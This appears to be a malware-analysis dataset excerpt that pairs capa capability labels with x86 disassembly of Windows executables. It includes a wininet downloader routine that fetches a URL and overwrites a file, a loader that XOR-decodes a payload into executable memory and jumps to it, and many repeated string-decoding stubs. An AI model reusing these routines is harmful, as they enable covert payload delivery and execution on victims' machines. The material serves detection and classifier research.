joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40319a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.004030f6
mov edi, 0x2d4
push edi
xor ebx, ebx
push ebx
mov esi, 0x405050
push esi
call fcn.00403ccd
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403209
push ebx
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 8], ebx
push dword [ebp - 4]
jne 0x40320d
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x40321b
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00403130
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40326d
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40327c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x403565
Capabilities:
Create http request
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00401000
push ebx
push esi
push edi
xor esi, esi
push 0x404358
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
call fcn.004019e3
pop ecx
mov edi, eax
push edi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push edi
mov dword [ebp - 0xc], eax
call fcn.0040352a
pop ecx
push esi
push esi
push esi
push esi
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push 0x84000100
push esi
push esi
push dword [ebp + 8]
mov edi, eax
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp edi, esi
mov ebx, eax
je 0x403672
cmp ebx, esi
je 0x403672
cmp edi, 0xffffffff
je 0x403672
cmp ebx, 0xffffffff
je 0x403672
mov edi, dword [ebp + 0xc]
cmp edi, esi
je 0x403618
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1014]
push eax
push ebx
call dword [ebp - 0xc]
cmp edi, esi
je 0x40364d
cmp dword [ebp - 4], esi
jbe 0x403652
push esi
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [ebp - 4], esi
ja 0x403618
cmp edi, esi
je 0x40365f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push dword [ebp - 0x10]
call esi
xor eax, eax
inc eax
jmp 0x403674
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ad1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
lea ecx, [ebp - 8]
call fcn.00401d3b
lea eax, [ebp - 0xc]
push eax
push str.SoftwareMicrosoftInternet_Explorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403b5d
push 0x7f
pop ecx
mov byte [ebp - 0x214], al
lea edi, [ebp - 0x213]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x4043b0
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x200
mov dword [ebp - 0x10], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ecx
push ecx
lea eax, [ebp - 0x214]
mov ecx, esp
push eax
call fcn.00401d8c
lea ecx, [ebp - 8]
call fcn.00401edc
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
call fcn.00401d5c
lea ecx, [ebp - 8]
call fcn.00401dbd
mov eax, dword [ebp + 8]
pop edi
leave
ret

Function at 0x403d00
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ebp, str.System32_
push ebp
call edi
mov esi, dword [esp + 0x1c]
push esi
mov dword [esp + 0x14], eax
call fcn.00403516
pop ecx
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push ebx
call edi
sub esi, dword [esp + 0x10]
cmp eax, esi
jg 0x403d4d
push ebx
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
call fcn.0040352a
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x403da0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
push 0x404358
mov dword [ebp - 4], ebx
call fcn.004019e3
pop ecx
mov esi, eax
push esi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
mov dword [ebp - 8], eax
call fcn.0040352a
cmp dword [ebp - 8], ebx
pop ecx
je 0x403eba
push ebx
push ebx
push ebx
push ebx
push 0x404175
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push 0x84000100
push ebx
push ebx
push dword [ebp + 8]
mov esi, eax
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, ebx
mov dword [ebp - 0x10], eax
je 0x403eab
cmp eax, ebx
je 0x403eab
cmp esi, 0xffffffff
je 0x403eab
cmp eax, 0xffffffff
je 0x403eab
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
push edi
push eax
xor esi, esi
mov dword [ebp - 0x14], eax
call fcn.00403516
mov edi, dword [ebp + 0xc]
pop ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
sub eax, esi
mov ecx, 0x8000
cmp eax, ecx
jbe 0x403e53
mov eax, ecx
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [ebp - 8]
push dword [ebp - 4]
lea eax, [esi + edi]
push dword [ebp - 0xc]
push eax
call fcn.00403cab
add esi, dword [ebp - 4]
add esp, 0xc
cmp dword [ebp - 4], ebx
jne 0x403e86
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 4], ebx
ja 0x403e43
cmp dword [ebp + 0x14], ebx
jne 0x403e90
mov byte [esi + edi], bl
mov eax, dword [ebp + 0x10]
push dword [ebp - 0x10]
mov dword [eax], esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x18]
call esi
xor eax, eax
inc eax
pop edi
jmp 0x403ebc
cmp dword [ebp + 0x14], ebx
jne 0x403eb5
mov eax, dword [ebp + 0xc]
mov byte [eax], bl
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x4e9798
Capabilities:
Encode data using xor

Disassembly:
inc edi
push ds
adc eax, 0xcb184114
sbb ch, byte [ebp + 0x58]
test dl, dl
test dword [ebx - 0x1b888a67], ebp
jecxz 0x4e9749
stosd dword es:[edi], eax
cdq
jne 0x4e97b6
in al, 0xe3
pop es
mov ebx, 0xef92f6f4
sbb edi, ebx
cmp dword [ebx + edx*8 - 0x3d464319], esi
fnsave dword [edi - 0x55]
or byte [edx - 0x16], cl
sub byte [ebx], bl
dec esi
push 7
sbb ecx, dword [esi + 0x6a]
pop es
xor eax, 0xda6bdbb4
adc ebx, eax
cdq
fsub dword [ecx - 0x4c7840b5]
sbb byte [0x2bfdcbd8], bh
out 0xbb, al
inc ebp
sbb ebp, dword [ecx]
bnd jne 0x4e9757
imul ecx, dword [edx - 0x2d], 0x7b2a9769
mov ebp, 0x9b36d9b7
or byte [ebx], cl
test byte [edi], al
mov edi, 0xdb4c64a2
cli
inc esi
int1
or ecx, dword [ebx]
add esp, esi
inc ebp
daa
imul edi, dword [edx + 0x6a752e3a], 0x57
mov edx, 0x6a752e3a
push edi
mov edx, 0x6a752e3a
push edi
mov ebx, dword [ebx - 4]
jnp 0x4e972e
mov word [ecx - 0x77], gs
dec eax
mov dword [ebx + 0x1949db89], ecx
pop ebx
jbe 0x4e973b
xor eax, 0xe92e4a32
push eax
cmp ah, byte [edi]
js 0x4e9831
out 0x73, al
adc byte [edi + ebp*8 + 0x69], 0x8e
mov byte [esi - 0x65], ah
mov al, byte [0xfbabad60]
pop dword [edi + 0x67]
mov edx, 0x7162a7a
mov ebx, 0x1d909469
mov dh, 0x92
push dword [esi + 6]
sub dl, byte [0x97c60d27]
stosb byte es:[edi], al
sub al, 0x44
push ecx
jmp 0xbdfb23a0
ret
Function at 0x5b8fc6
Capabilities:
Encode data using xor

Disassembly:
ljmp 0x20b4:0xf51c09cb
dec esi
push ds
aas
outsd dx, dword [esi]
mov ah, 0x20
xor esi, ebx
mov cl, 0xe6
jnp 0x5b9038
push edi
jbe 0x5b8f83
jl 0x5b9013
in eax, dx
sar byte [ecx - 0x4a53b61f], 3
pushal
test byte [ebx - 0x7a9cfcbb], 0x58
inc ecx
add dword [ebp + 0x3e03c54c], esi
push ss
sub al, 0xfc
invalid
add dh, bh
mov esp, 0x6653a0a3
bound edi, qword [ecx - 0x4a]
movsd dword es:[edi], dword [esi]
mov dh, 0xa5
dec edx
add al, 0xf5
add al, 0x4a
jp 0x5b900a
sbb al, 0xa8
out 0x6e, eax
popfd
cld
xlatb
out 0xbc, eax
jnp 0x5b905a
clc
les ecx, [ecx]
xchg edx, eax
sub ebx, dword [esi + 0xfc82cee]
fstp st(4)
sub al, 0xc8
paddusw mm3, mm4
pop esp
jb 0x5b8fb9
int1
cvtdq2ps xmm1, xmmword [ebp + 0x49da8d3d]
jne 0x5b902f
ret
push ebx
xor byte [esi - 0x62c43962], 0x9e
outsb dx, byte [esi]
and eax, 0xd2c9041f
jo 0x5b905b
mov bh, 0xcc
int1
les ebx, [edi]
cmp dword [ebp + 0x77d057], 0x1ebd140e
xor al, 0x19
pop edi
test eax, 0x7f802358
salc
les esi, [esi - 0x1e]
mov ebp, 0xbea2c5d3
aas
shr dword [esi], 0x4f
fld dword [edx - 0x6a]
in al, 0x83
pop ebp
push edi
push ds
mov edi, 0xea37a87d
lcall 0x9132, 0xdf6a4b9f
mov cl, 0xdf
add al, 0xf1
sbb dword [esi - 0x5cd19852], 0x25
cwde
aad 0x60
push ds
or cl, byte [edi - 0x66e64f76]
add eax, 0xfde924c9
in eax, 0x55
mov edx, 0xafcf215a
mov ecx, 0x538f410e
or byte [eax], bh
xchg ebp, eax
enter 0x4d03, 0x36
adc dword [ebp + 0x67], eax
in al, dx
rol byte [ebx], cl
mov dword [edx - 0x6fb2bb43], ebx
pop eax
in al, 0xc4
int 0xbc
sub dword [ebp - 0x71b8d33d], esp
sbb dl, cl
or al, 0xef
sbb al, 0x78
mov bh, 0x57
dec ebx
push 0x5b
or ah, bh
fbld tbyte [esi]
jno 0x5b9102
mov bl, 0xb6
push 0xfa8fec96
xchg ebx, eax
stc
push eax
sbb dh, byte [0xd3bfeac5]
imul esi, ebp, 0xffffffda
outsb dx, byte [esi]
push edx
push esi
push es
adc dword [esi + 0x25], 0xab7babc6
cmp dword [eax], eax
clc
push ebp
add byte [esi + ebp*2 + 0x7986a061], bh
out dx, eax
in al, dx
push eax
inc edi
dec esi
or al, 0xa4
stc
mov ch, 0xa
retf 0x1492

Function at 0x5c1846
Capabilities:
Encode data using xor

Disassembly:
or edi, dword [edi - 0x73a5d33e]
fist dword [esi]
mov dword [0x1a0cac53], eax
outsb dx, byte [esi]
lodsd eax, dword [esi]
cmp al, 0x3e
invalid
Function at 0x60f50e
Capabilities:
Encode data using xor

Disassembly:
inc esi
pop eax
inc esp
mov dword [esi + eax*2], edx
lodsd eax, dword [esi]
rcr dword [ecx - 0x243e2f13], 1
in al, dx
push edi
xor dword [esp + edi], eax
insd dword es:[edi], dx
std
jge 0x60f592
adc al, ch
cli
jne 0x60f553
cld
clc
pop edi
jmp 0x2ef327fe
call 0xc1b57903
add al, 0xad
lodsb al, byte [esi]
adc dword [ecx + eax*8 + 4], 0xffffffad
mov edx, 0xe486ff8d
js 0x60f553
sub eax, 0x9bb4020f
pop ds
xor al, byte [ecx + 0x6a83e9de]
int1
daa
jnp 0x60f5ba
scasd eax, dword es:[edi]
invalid
fimul word [ecx + 0x29e177f1]
sub al, 0x29
mov ecx, 0x1d19def
jno 0x60f5f5
push ebp
dec esi
wait
outsb dx, byte [esi]
sbb dh, byte [esi + edi + 0x1dbf594c]
into
jnp 0x60f552
mov edi, 0xbb7bce1d
cmp eax, 0x24b4488a
inc edi
lea ecx, [esi + 0x2e]
push ebp
jns 0x60f57a
add esi, edx
shr edx, cl
sbb dword [ebx - 0x4a21d619], 0x7639a2ea
sahf
inc edi
dec ebp
in eax, 0x35
mov ebx, ecx
int 0xf9
outsb dx, byte [esi]
popal
std
jbe 0x60f5e2
cmc
or eax, 0x522be551
insd dword es:[edi], dx
xchg edi, eax
arpl word [esi + 0x74], sp
out dx, al
daa
xor esi, 0xffffff99
jl 0x60f589
mov esi, 0x8cbdad8d
cmp eax, 0xddacd0e9
pop ecx
invalid
sbb al, 0x48
mov ebp, 0xe73c29f5
lahf
arpl word [edi], dx
jb 0x60f5fd
cmp al, 0x11
push ss
jne 0x60f5f7
fidiv word [edi]
jns 0x60f657
aad 0x1c
mov ebp, 0xe199f48b
popal
cdq
loope 0x60f661
xchg ecx, eax
stosd dword es:[edi], eax
pop ebp
dec ecx
invalid
mov dl, 0xf4
cld
cli
in eax, dx
xchg dl, ch
call 0xeffc1edb
cmp dh, byte gs:[edx + 0x2d1459af]
sub byte [ebx - 0x4dc59a11], bl
scasd eax, dword es:[edi]
pop ecx
adc al, 0x2d
xchg ebp, eax
and ebp, esp
out 0x77, eax
div dword [ecx]
pop ds
add eax, 0x53b9f372
sub byte [esi], bl
sbb edx, dword [ecx - 0x166e13b7]
in eax, 0xa7
inc esi
cmp cl, byte [edx]
das
call 0x1985e833
mov bl, 0x43
pop esp
xor al, 0x40
pop es
jns 0x60f668
popfd
lodsd eax, dword [esi]
pop ebp
sub eax, 0xf49cd8d9
jge 0x60f702
mov ebx, dword [ecx]

Function at 0x630876
Capabilities:
Encode data using xor

Disassembly:
jmp 0x8218b33f
cmp eax, 0x356e4a63
fcmovnb st(0), st(1)
stosd dword es:[edi], eax
and dh, byte [edi]
fnstsw word [edx - 0x405266de]
lodsd eax, dword [esi]
mov edi, 0xd57aa198
sar ebp, 0x81
jb 0x630867
and al, 0x35
and dword [eax + 0x69], 0x6d
scasd eax, dword es:[edi]
sub ecx, edi
adc byte [esp + ebp*2], cl
lodsd eax, dword [esi]
mov edi, 0xd57aa198
sar ebp, 0x81
jb 0x630867
and al, 0x35
and dword [eax + 0x69], 0x6d
scasd eax, dword es:[edi]
sub ecx, edi
adc byte [esp + ebp*2], cl
fsubp st(3)
jns 0x63082d
cmpsb byte [esi], byte es:[edi]
leave
mov al, byte [0x371103ba]
fsubr qword [ebp + esi*8 - 0x4ca0ced]
mov edi, 0xec585d2c
mov edx, 0xdc371103
lodsb al, byte [esi]
cmc
adc esi, ebx
xor eax, 0x5d2cbffb
pop eax
in al, dx
aam 0x39
sub al, 0x17
aam 0x68
dec edx
jle 0x630894
invalid
Function at 0x64e2cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6593d8
cmp edx, dword [eax]
je 0x64e2ef
add eax, 8
inc ecx
cmp eax, 0x659468
jl 0x64e2e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6593d8]
jne 0x64e41d
mov eax, dword [0xa5cd44]
cmp eax, 1
je 0x64e3f7
test eax, eax
jne 0x64e320
cmp dword [0x659304], 1
je 0x64e3f7
cmp edx, 0xfc
je 0x64e41d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x64e357
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0064ecb0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0064f140
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x64e39a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0064f140
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x653f44
push edi
call fcn.00651010
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0064ecb0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0064ecc0
lea eax, [ebp - 0xa0]
push 0x653f24
push eax
call fcn.0064ecc0
push dword [esi + 0x6593dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.0064ecc0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00650f84
add esp, 0x2c
pop edi
jmp 0x64e41d
lea eax, [ebp + 8]
lea esi, [esi + 0x6593dc]
push 0
push eax
push dword [esi]
call fcn.0064f140
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x41b7d6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x41b7e5
pop dword [ebp - 0x38]
mov eax, 0xfd63a94a
sub eax, 0xfd21f165
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x2915f017
add dword [ebp - 0x48], 0x253c5534
mov dword [ebp - 0x44], 0x1f2b0eea
add dword [ebp - 0x44], 0x13083d5b
mov dword [ebp - 0x40], 0x8a1748a1
add dword [ebp - 0x40], 0xc234fb8d
mov dword [ebp - 0x3c], 0x25f50076
sub dword [ebp - 0x3c], 0x25f50076
lea eax, [ebp - 0x48]
push eax
mov eax, 0x6ef1ab2f
sub eax, 0x6eabfacb
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x56d53f13
sub dword [ebp - 0x48], 0xe262d5bd
mov dword [ebp - 0x44], 0xb9d1867e
add dword [ebp - 0x44], 0x879adaf7
mov dword [ebp - 0x40], 0xa4e91f3f
sub dword [ebp - 0x40], 0x4179b2d3
mov dword [ebp - 0x3c], 0xf9f35f48
sub dword [ebp - 0x3c], 0xf9f35f48
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x4af60
push 0
call eax
mov ecx, 0x3e87
xor esi, esi
add esi, eax
mov edx, 0x40b376ef
sub edx, 0x406c16ef
add edx, dword [ebp - 0x38]
mov ebx, 0xab45514f
add dword [ebp - 0x24], 0xf10c410
mov edi, dword [edx]
mov dword [ebp - 0x10], 0x80a1c7e2
xor edi, ebx
add dword [ebp - 0x20], ecx
mov dword [esi], edi
mov dword [ebp - 0x24], 0xb45c8456
add esi, 0x6b74f655
add esi, 0x948b09af
add edx, 4
loop 0x41b8f8
add eax, 0xecef
xor ebx, ebx
add ebx, eax
add eax, 0x2616dfb0
sub eax, 0x2616dfab
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401b77
Capabilities:
Hash data using fnv

Disassembly:
movsx eax, dl
xor eax, ecx
imul eax, eax, 0x1000193
ret

Function at 0x401c54
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xb
jl 0x401c62
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401c83
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1c
jl 0x401c91
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401cb2
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x12
jl 0x401cc0
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401ce1
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1b
jl 0x401cef
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401d10
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0xe
jl 0x401d1e
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401d3f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x11
jl 0x401d4d
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x401d6e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1d
jl 0x401d7c
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4025e5
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x14
jl 0x4025f3
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x402614
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x19
jl 0x402622
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402643
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1e
jl 0x402651
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x402672
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x20
jl 0x402680
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4026a1
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x22
jl 0x4026af
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4026d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x13
jl 0x4026de
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4026ff
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x17
jl 0x40270d
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40272e
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x1a
jl 0x40273c
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40275d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov ebx, ecx
xor ecx, ecx
sub edi, ebx
xor edx, edx
lea esi, [ecx + ebx]
push 0x32
mov eax, ecx
pop ebp
div ebp
add dl, 0x34
xor dl, byte [edi + esi]
inc ecx
mov byte [esi], dl
cmp ecx, 0x35
jl 0x40276b
pop edi
pop esi
pop ebp
pop ebx
ret 4